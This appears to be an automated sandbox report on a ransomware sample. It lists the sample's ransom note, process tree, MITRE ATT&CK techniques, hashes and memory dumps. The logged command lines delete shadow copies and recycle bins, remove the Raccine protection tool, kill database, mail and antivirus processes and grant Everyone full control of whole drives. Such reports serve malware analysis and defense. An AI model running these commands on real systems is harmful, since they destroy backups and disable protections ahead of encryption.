Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO"	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

C:\Users\Admin\AppData\Local\Temp\20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
"C:\Users\Admin\AppData\Local\Temp\20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1100
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM RaccineSettings.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:316
- C:\Windows\system32\reg.exe
  "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  2⤵
  PID:1480
- C:\Windows\system32\reg.exe
  "reg" delete HKCU\Software\Raccine /F
  2⤵
  - Modifies registry key
  PID:1012
- C:\Windows\system32\schtasks.exe
  "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  2⤵
  PID:516
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
  2⤵
  PID:560
- C:\Windows\system32\sc.exe
  "sc.exe" config Dnscache start= auto
  2⤵
  PID:1896
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  PID:1140
- C:\Windows\system32\sc.exe
  "sc.exe" config FDResPub start= auto
  2⤵
  PID:604
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  PID:1324
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c rd /s /q D:\\$Recycle.bin
  2⤵
  PID:240
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  PID:1624
- C:\Windows\system32\sc.exe
  "sc.exe" config SSDPSRV start= auto
  2⤵
  PID:2012
- C:\Windows\system32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  PID:564
- C:\Windows\system32\sc.exe
  "sc.exe" config upnphost start= auto
  2⤵
  PID:536
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  2⤵
  PID:1488
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:576
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  PID:432
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:108
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
  2⤵
  PID:1096
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:764
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:292
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:568
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  PID:672
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1588
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  PID:1120
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  PID:1000
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  PID:1468
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  PID:692
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1156
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1260
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:660
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1928
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:752
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:524
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:484
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:672
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:564
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1480
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:280
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:760
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1120
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  PID:632
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1000
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:992
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1660
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1012
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1668
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1468
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1476
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  PID:1720
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  PID:1624
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1292
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:604
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:432
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1108
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:788
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:792
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1596
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1468
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1624
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:516
- C:\Windows\system32\icacls.exe
  "icacls" "Z:*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:692
- C:\Windows\system32\icacls.exe
  "icacls" "C:*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:240
- C:\Windows\system32\icacls.exe
  "icacls" "D:*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:1716

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2031019117201861652751536468920909260261458029577152181831110824607991491210824"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:692

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "4059233541773072486-175457095655755918-230877684-21389762091547445088407668658"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:632

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-18170060234789824731790282483-18055769162055425976-650737829-10009230921335141997"
1⤵
PID:280

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-103128349210366574347894028281824445993-1062508143-193181904220913664181450629041"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1720

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

Filesize
2KB

MD5
c357c07d90d23bffd1e135c0d4ec4512

SHA1
414cc6a8d0b7b48945f98bb6a976c0cc2afa5a15

SHA256
ba91a5893bb83accaf6e70aaf6843fe5a0ec9db34c72c186acc7af917e11d76f

SHA512
1eac4fa90755c4948cc1fbd3a1bc9afcac3d3f5ee5ab5a87d9529dc6ef3006b969969f62a5f6905356b02cbcf564a12150cca13daba7409a1005ee5e9e263d52

Download Submit
memory/108-79-0x0000000000000000-mapping.dmp

Download
memory/240-72-0x0000000000000000-mapping.dmp

Download
memory/280-106-0x0000000000000000-mapping.dmp

Download
memory/292-83-0x0000000000000000-mapping.dmp

Download
memory/316-63-0x0000000000000000-mapping.dmp

Download
memory/432-81-0x0000000000000000-mapping.dmp

Download
memory/432-120-0x0000000000000000-mapping.dmp

Download
memory/484-100-0x0000000000000000-mapping.dmp

Download
memory/516-130-0x0000000001F20000-0x0000000001F21000-memory.dmp

Filesize
4KB

Download
memory/516-66-0x0000000000000000-mapping.dmp

Download
memory/516-136-0x0000000002410000-0x0000000002411000-memory.dmp

Filesize
4KB

Download
memory/516-133-0x000000001AB20000-0x000000001AB22000-memory.dmp

Filesize
8KB

Download
memory/516-128-0x0000000000000000-mapping.dmp

Download
memory/516-135-0x000000001AB24000-0x000000001AB26000-memory.dmp

Filesize
8KB

Download
memory/516-131-0x000000001AD50000-0x000000001AD51000-memory.dmp

Filesize
4KB

Download
memory/516-134-0x0000000002340000-0x0000000002341000-memory.dmp

Filesize
4KB

Download
memory/524-99-0x0000000000000000-mapping.dmp

Download
memory/536-76-0x0000000000000000-mapping.dmp

Download
memory/560-67-0x0000000000000000-mapping.dmp

Download
memory/564-75-0x0000000000000000-mapping.dmp

Download
memory/564-102-0x0000000000000000-mapping.dmp

Download
memory/568-86-0x0000000000000000-mapping.dmp

Download
memory/576-78-0x0000000000000000-mapping.dmp

Download
memory/604-70-0x0000000000000000-mapping.dmp

Download
memory/604-119-0x0000000000000000-mapping.dmp

Download
memory/632-107-0x0000000000000000-mapping.dmp

Download
memory/640-127-0x0000000000000000-mapping.dmp

Download
memory/660-96-0x0000000000000000-mapping.dmp

Download
memory/672-89-0x0000000000000000-mapping.dmp

Download
memory/672-101-0x0000000000000000-mapping.dmp

Download
memory/692-93-0x0000000000000000-mapping.dmp

Download
memory/752-98-0x0000000000000000-mapping.dmp

Download
memory/760-104-0x0000000000000000-mapping.dmp

Download
memory/764-84-0x0000000000000000-mapping.dmp

Download
memory/788-122-0x0000000000000000-mapping.dmp

Download
memory/792-123-0x0000000000000000-mapping.dmp

Download
memory/992-110-0x0000000000000000-mapping.dmp

Download
memory/1000-92-0x0000000000000000-mapping.dmp

Download
memory/1000-109-0x0000000000000000-mapping.dmp

Download
memory/1012-112-0x0000000000000000-mapping.dmp

Download
memory/1012-65-0x0000000000000000-mapping.dmp

Download
memory/1096-82-0x0000000000000000-mapping.dmp

Download
memory/1100-62-0x000000001AD50000-0x000000001AD52000-memory.dmp

Filesize
8KB

Download
memory/1100-60-0x0000000000090000-0x0000000000091000-memory.dmp

Filesize
4KB

Download
memory/1108-121-0x0000000000000000-mapping.dmp

Download
memory/1120-108-0x0000000000000000-mapping.dmp

Download
memory/1120-91-0x0000000000000000-mapping.dmp

Download
memory/1140-69-0x0000000000000000-mapping.dmp

Download
memory/1156-94-0x0000000000000000-mapping.dmp

Download
memory/1260-95-0x0000000000000000-mapping.dmp

Download
memory/1292-118-0x0000000000000000-mapping.dmp

Download
memory/1324-71-0x0000000000000000-mapping.dmp

Download
memory/1468-125-0x0000000000000000-mapping.dmp

Download
memory/1468-114-0x0000000000000000-mapping.dmp

Download
memory/1468-90-0x0000000000000000-mapping.dmp

Download
memory/1476-115-0x0000000000000000-mapping.dmp

Download
memory/1480-64-0x0000000000000000-mapping.dmp

Download
memory/1480-103-0x0000000000000000-mapping.dmp

Download
memory/1488-77-0x0000000000000000-mapping.dmp

Download
memory/1488-80-0x000007FEFC661000-0x000007FEFC663000-memory.dmp

Filesize
8KB

Download
memory/1576-88-0x0000000000000000-mapping.dmp

Download
memory/1588-87-0x0000000000000000-mapping.dmp

Download
memory/1596-124-0x0000000000000000-mapping.dmp

Download
memory/1624-126-0x0000000000000000-mapping.dmp

Download
memory/1624-117-0x0000000000000000-mapping.dmp

Download
memory/1624-74-0x0000000000000000-mapping.dmp

Download
memory/1660-111-0x0000000000000000-mapping.dmp

Download
memory/1668-113-0x0000000000000000-mapping.dmp

Download
memory/1672-105-0x0000000000000000-mapping.dmp

Download
memory/1720-116-0x0000000000000000-mapping.dmp

Download
memory/1896-68-0x0000000000000000-mapping.dmp

Download
memory/1928-97-0x0000000000000000-mapping.dmp

Download
memory/2012-73-0x0000000000000000-mapping.dmp

Download